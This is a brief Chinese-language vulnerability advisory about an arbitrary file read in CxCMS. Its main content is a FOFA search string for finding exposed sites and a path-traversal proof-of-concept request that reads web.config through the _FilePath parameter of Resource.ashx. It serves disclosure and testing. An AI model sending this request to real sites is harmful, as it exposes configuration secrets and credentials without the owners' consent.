CxCMS Resource.ashx 任意文件读取漏洞

漏洞描述

CxCMS 存在任意文件读取，由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严，导致可以读取系统敏感文件。

漏洞影响

CxCMS

FOFA

"Powered by CxCms"

漏洞复现

关键字"Powered by CxCms"

image-20220518144245685

验证POC

/Sys/Handler/Resource.ashx?_FilePath=../../web.config

image-20220518144331101